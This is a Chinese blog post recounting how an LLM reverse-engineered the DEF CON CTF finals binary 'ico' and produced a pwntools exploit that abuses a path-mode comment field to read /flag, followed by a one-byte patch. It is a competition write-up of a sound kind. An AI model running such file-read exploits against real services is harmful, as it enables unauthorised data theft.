Deep Learning 101

Deep Learning 101, Taiwan’s pioneering and highest deep learning meetup, launched on 2016/11/11 @ 83F, Taipei 101

AI是一條孤獨且充滿惶恐及未知的旅程,花俏絢麗的收費課程或活動絕非通往成功的捷徑。
衷心感謝當時來自不同單位的AI同好參與者實名分享的寶貴經驗;如欲移除資訊還請告知。
TonTon Huang Ph.D. 發起,及其當時任職公司(台灣雪豹科技)無償贊助場地及茶水點心。
Deep Learning 101 創立初衷,是為了普及與分享深度學習及AI領域的尖端知識,深信AI的價值在於解決真實世界的商業問題。

去 YouTube 訂閱 | Facebook | 回 GitHub Pages | 到 GitHub 點星 | 到 Hugging Face Space 按愛心

大語言模型 語音處理 自然語言處理 電腦視覺
Large Language Model Speech Processing Natural Language Processing, NLP Computer Vision

你所需要的只是 MCP - LLMs 解決 DEF CON CTF 決賽

精選文章 (Featured Articles)

快速匯整

傳統的安全分析工具通常只專注於單一功能:

  • 靜態分析工具只能發現已知模式的漏洞
  • 模糊測試工具只能觸發崩潰但無法定位根因
  • 補丁工具需要人工分析和編寫

Artiphishell 是一個綜合性的安全研究和漏洞發現平台

  • 自動化漏洞發現 - 分析源代碼識別安全漏洞
  • 漏洞驗證 - 生成 POV (Proof of Vulnerability) 演示證明漏洞可被利用
  • 自動化修復 - 創建補丁來修復發現的漏洞
  • 多層次分析引擎:結合靜態分析 (CodeQL)、動態模糊測試 (AFL++/Jazzer) 和 LLM 驅動的智能分析
    • 靜態分析
      • CodeQL 掃描源代碼尋找已知漏洞模式
      • 函數索引器分析代碼結構和調用關係
    • 動態分析:
      • 模糊測試引擎(AFL++、LibFuzzer、Jazzer)生成測試輸入
      • 語料庫管理器收集和優化測試用例
  • 競賽級性能:專為高強度競賽環境設計,具有嚴格的資源管理和預算控制
  • 雲原生部署:基於 Kubernetes 的可擴展架構

核心子系統

  • 漏洞發現 - 包括 DiscoveryGuy、CodeQL 分析和 DiffGuy 代碼變更分析
  • 模糊測試基礎設施 - 支持 Jazzer (Java)、LibFuzzer 和 AFL++ 管道
  • 補丁生成 - 使用 PatcherQ、根因分析 (Kumu-shi) 和 LLM 補丁生成
  • LLM 和代理基礎設施 - AgentLib 和 LiteLLM 服務

簡單比喻

與傳統安全工具不同,Artiphishell 不只是"發現問題",而是提供從發現→驗證→修復的完整自動化流程,就像一個能獨立運作的安全專家團隊。
想像 Artiphishell 就像一個全自動的網路安全診所:

  • 診斷科:DiscoveryGuy 和 CodeQL 像 X 光機和 CT 掃描,從不同角度檢查代碼尋找"病灶"(漏洞)
  • 實驗室:模糊測試組件像病理科,通過大量測試樣本驗證問題是否真實存在
  • 手術室:PatcherQ 像外科醫生,精確地"開刀"修復發現的問題
  • AI 助手:LLM 系統像經驗豐富的專科醫生,提供智能診斷建議和治療方案

DEF CON CTF

每年,世界級的戰隊都會參加像 Plaid CTF 與 HITCON CTF 這樣困難的 CTF,試圖透過拿到第一名來取得 DEF CON CTF 的資格。通常一年只有 3–4 場 CTF 被指定為預先資格賽。DEF CON CTF 也有一個準決賽,依年份不同,前 8–12 名隊伍可以取得決賽資格。

DEF CON CTF 幾乎與 DEF CON 本身同樣歷史悠久,是 DEF CON 的標誌性活動之一。它吸引(而且持續吸引)會影響整個資安領域的頂尖駭客,例如 GeoHot、Zardus、Lokihardt 等。

總而言之,DEF CON CTF「就是」駭客界的奧運會,如果可以這麼說的話是總決賽的最終舞台。挑戰很難,隊伍也都是頂尖好手雲集。

TL;DR

在為 AIxCC 花了兩年時間與 LLMs 一起工作的過程中,已經對 LLM 能與不能的邊界有了直覺。這是第一次看到 DEF CON 決賽難度的挑戰,幾乎完全由 LLMs 解出(人為互動極少)。

在我開始之前,隊上幾位超強的駭客(salls、x3ero0、zardus 等)已經在名為「ico」的挑戰上投入大約四個小時,所以這並不是一題簡單的題目。我覺得讓社群裡其他人也見證這件事發生很重要。(頁面底部可下載我在 Cursor 中與 LLM 的完整對話記錄)

挑戰 —「ico」

這題是一個單一的 x86-64 二進位檔,啟動後會在 4265 埠架一個伺服器。它不是完全靜態連結,但雖然有 1.4M 大小、接近 6k 個函式,實際上只使用了少數函式庫函式。

[*] '/home/clasm/ctfs/dc-finals-25/ico/ico'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有趣的是,沒有 PIE 或 stack canary,讓溢出更容易被利用。一開始連到伺服器隨機手動傳送值沒有任何輸出。程式在每一個新連線時都會 fork 一個子行程。此外還有一個巨大的派發迴圈或 VM,看起來會讀取位元組並依據這些位元組執行不同的指令,其餘一切都還需要我們去摸索。

背景

Shellphish 今年在 DEF CON 很忙,要同時打決賽 CTF 與送出我們的 AIxCC 作品。身為 AIxCC 團隊的其中一位負責人,會展期間幾乎都在奔波,直到比賽結束後第二天才有時間看題目。「ico」是主辦在第二天中途釋出的挑戰,當時已經有幾位我 1337 的隊友在做了。

我晚點加入並決定下場,因為我一般在 rev/pwn 還算拿手,而且看起來我們進展不多。當時已經有一個叫做 poc_ncif.py 的互動腳本,但它只用 pwntools 傳了三個空位元組。有些人還在逆向,其他人嘗試架設 fuzzers 看看是否有低垂果實可摘。

MCP 對我來說太猛了

我的一位隊友 mahaloz 為另一題 viper 架了 IDA MCP 伺服器,但使用起來沒有太大進展;然而也有人把原始反編譯與指令貼到 GPT 主控台就獲得了一些成功(lol)。Blue Water 隊也讓代理在背景執行,還「解了兩題 Live CTF 挑戰」。雖然那些挑戰比大多數 DEF CON 題目簡單一些,但這也成為我自己嘗試的靈感之一。

我們即將開會,所以我快速做了一個 Docker 容器來跑挑戰,避免破壞日常環境,並啟動了我自己的「IDA MCP 伺服器」+「Cursor」(GPT‑5 剛推出且透過 Cursor 有大量免費代幣),讓它在一個部分逆向的「ico」上運行,初始提示如下。

你是我見過最強的逆向工程師,使用 Ida pro MCP 與這個二進位互動並進行逆向;我們知道這是一個伺服器應用,但除此之外不清楚太多;若需要更多資訊或任何重要決策,請隨時詢問。

這是我第一次使用 GPT‑5,我要說:它跑了,而且不停地跑。它使用了我見過最多的工具呼叫次數,儘管我也試過 claude‑4‑sonnet、claude‑4‑opus、o3 等模型;最後會議結束,我得以查看結果。它在完全無人協助下至少跑了 12 分鐘,並給了我們第一個腳本。

令人失望的腳本

from pwn import remote  # type: ignore
import os, sys, time

host = os.environ.get("HOST", "127.0.0.1")
port = int(os.environ.get("PORT", "4265"))

io = remote(host, port)

# handshake
io.send(b"\x10")       # enable
time.sleep(0.05)

# create default entry that copies /flag into "Author"
io.send(b"\x22")
time.sleep(0.05)

# request metadata bundle: Author (flag), Software, (Comment if set)
io.send(b"\x32" + b"\x01")   # 0x01 arbitrary small param

data = io.recv(timeout=2) or b""
print(f"len={len(data)} hex={data.hex()}")

# Heuristic extract: look for ASCII 'Author' then next string-ish bytes
idx = data.find(b"Author")
if idx != -1:
    # naive slice forward; adjust if you want a proper parser
    print("Found 'Author' near:", idx)
    print(data[idx:idx+256])

# clean close (optional)
io.send(b"\x11")
io.close()

我立刻跑了腳本,結果令人失望——它可以跑但拿不到 flag,但那不就是 AI 糊常有的情況嗎。然而,這個不管用的腳本同時帶來一些相當有趣的發現:

每次連線、在處理命令之前,它會把 /flag 的內容載入到全域字串緩衝區 off_51C2E0:idk_what_this_is_man → 設定路徑為 "/flag",讀取,並把指標存入 off_51C2E0。

0x32:回傳一個打包的中繼資料區塊,包含:
- "Author" → 直接是 +40 處的字串(也就是 flag)
- "Comment"(只有在先前透過 0x31 設定過的情況)
- "Software" → +72 處的字串
- 在 0x32 後需要一個額外位元組(任意小值;用作維度)

讓我們實際看看反編譯,確認 flag 在哪裡被設定,以及驗證 LLM 的說法是否正確。

IDA 中的 Flag 讀取函數

在 sub_45EFE0 裡,我們看到 /flag 字串與一些值透過呼叫在傳遞,我不完全確定這些呼叫在做什麼,但結構讓我覺得很像 C++,所以我暫時相信 LLM 所說的,最終 /flag 的內容會落到 off_51C2E0。

IDA 中的全局字符串截圖

我們可以看到,一開始 off_51C2E0 包含指向字串「fuzyll」的指標,他是 Nautilus Institute(本題主辦)的一員,也很可能是這題的作者。LLM 也建議把腳本輸出格式化得更好,我同意了,因為原本輸出很乏味,而且我仍然不清楚眼前這東西的全貌。

充滿希望的腳本

from __future__ import annotations
# ... (Python script content) ...
def main():
    # ...
    try:
        kv, raw = exploit_fetch_metadata(io)
        if kv:
            # ...
        else:
            print(f"No parsable KV bundle. Raw chunk ({len(raw)} bytes): {raw.hex()}")
    # ...
if __name__ == "__main__":
    main()
[x] Opening connection to 127.0.0.1 on port 4265
...
No parsable KV bundle. Raw chunk (153 bytes): 89504e47...ae426082
...

不僅腳本比前一版更長、結構也更好,且實際從伺服器拿到漂亮的輸出。顯然,這段十六進位字串不理想,所以我用 xxd 轉一下來看,有一些看起來像 ASCII 的字節。

00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
...
00000040: 2774 4558 7441 7574 686f 7200 3142 3542  'tEXtAuthor.1B5B
...
00000070: 0000 0011 7445 5874 536f 6674 7761 7265  ....tEXtSoftware
...

在(其實算是第一次)看了 IDA 之後,感覺 flag 確實被寫入 LLM 提到的全域變數,接著用來設定 Author 標籤,但中間有不少我不明白用途的額外函式呼叫。位元組流裡屬於 Author 的那一段,絕對不是之前硬編碼的「fuzyll」,而是一個我不認得的值,顯示我們更進一步了,但不確定為何這個值不是 flag。

魔法時刻

Evidence:
Your extract: Author = 1B5B55E424237B0FF70D2DAE6D79F226

MD5(flag{WINNER_WINNER_CHICKEN_DINNER}) = 1B5B55E424237B0FF70D2DAE6D79F226 (matches)

證據:你抽取到的 Author 為 1B5B55E424237B0FF70D2DAE6D79F226;而 MD5(flag{WINNER_WINNER_CHICKEN_DINNER}) 等於 1B5B55E424237B0FF70D2DAE6D79F226,完全匹配。

echo -en 'flag{WINNER_WINNER_CHICKEN_DINNER}' | md5sum
1b5b55e424237b0ff70d2dae6d79f226  -

一開始我以為這是幻覺,怎麼會是 MD5?之前逆向的同伴沒看到,我自己在二進位裡也沒看到任何與 MD5 相關的東西,也許我們只是沒看夠仔細。在主控台實測 md5sum 之後,結果吻合,讓我大為震驚;LLM 正確推斷這是 MD5,但只是在看到原始旗標之後才做到的,之前它本可早點建立這樣的連結,但也許在得到真旗標後它決定呼叫工具來驗證而不是猜測。

利用腳本(真正拿到明文)

我跑腳本後的第一個念頭是:LLM 作弊了,我以為它在做「獎勵駭入(reward hacking)」,只是開了我本機的檔案。但我讀了兩遍程式碼,然後找了三位隊友也跑了這段程式碼,結果都證實:它真的有效。在最少的人力投入之下,我靠著不斷提問、推促、請求,讓 LLM 為一題 DEF CON 決賽等級的挑戰做出可用的利用。

# ... (Python script)
def exploit_fetch_flag_via_comment(io) -> bytes:
    """Abuse comment type=2 (path) to read /flag plaintext and return it."""
    # 0x10: enable
    send_cmd(io, b"\x10")
    io.recv(timeout=0.5)
    # 0x22: create default entry (comment type preset to 2)
    send_cmd(io, b"\x22")
    io.recv(timeout=0.5)
    # 0x31: set comment to path "/flag" (length-prefixed blob)
    send_cmd(io, b"\x31")
    send_length_prefixed_blob(io, b"/flag")
    io.recv(timeout=0.5)
    # 0x30: get comment value; server returns a tagged blob containing file contents
    send_cmd(io, b"\x30")
    chunk = read_chunk(io, timeout=2.0)
    if not chunk:
        return b""
    _tag, payload = chunk
    return payload
# ...

由寫出這段利用的 LLM 來解釋最後的利用再適合不過:

0x10 enables the session (ACK).
0x22 creates a default entry: it sets type at offset +48 to 2 (path mode), Author to g_FlagString (MD5-hex of /flag), Software to "ico v0.1".
0x31 length-prefixed blob sets the Comment value at offset +56 (we send "/flag").
0x30 returns the Comment. Because type==2, the server treats Comment as a path and returns file contents → plaintext flag.

修補(The Patch)

DEF CON 決賽是攻防賽,既然有利用就要防禦它,於是我直接問 LLM,結果只花了兩個提示就拿到解法與補丁腳本。它的核心做法是把 VA 0x45F24D 那條「mov byte [*+0x30], 0x2」指令的立即數從 0x2 改成 0x1,把預設 comment 類型從 PATH(2) 改為 LITERAL(1),以純 Python 腳本計算 ELF 對映並覆寫單一位元即可。

#!/usr/bin/env python3
"""
Minimal, pure-Python patcher for 'ico' to disable comment-as-path default.
...
"""
# ... (Patcher script) ...

就這樣!單位元補丁,一次成功,隔天早上我們把補丁上線,也沒有觸發主辦單位的 SLA 檢查。

偉大的「氛圍逆向 (Vibe-ening)」

這件事讓人難以置信——我們房間裡的每個人一開始都不信,以為程式碼在某種程度上曲解了輸出,但事實不是,它真的拿到了 flag,現場一片嘩然。很快,其他人也開始下載 IDA MCP,並把各種挑戰丟進去跑;世界級的逆向與利用者暫時停下對二進位的人工作業,我們讓 LLM 來做繁重工作,這種只靠 MCP 解真題的感覺超現實,我們進入了所謂「vibe‑reversing(氛圍逆向)」的新境地。

然而樂趣到此為止,這題之後我們只自動解了一題 Live CTF,除此之外沒有其他實質成果。我其實對用這種方式解題有點煩,某一方面,技術能自動化到這種程度真的很酷,但另一方面,我喜歡解謎、學習與挑戰,我不想成為軟體或提示工程師,我想親手 pwn 題目,而不是成為 LLM 的傀儡。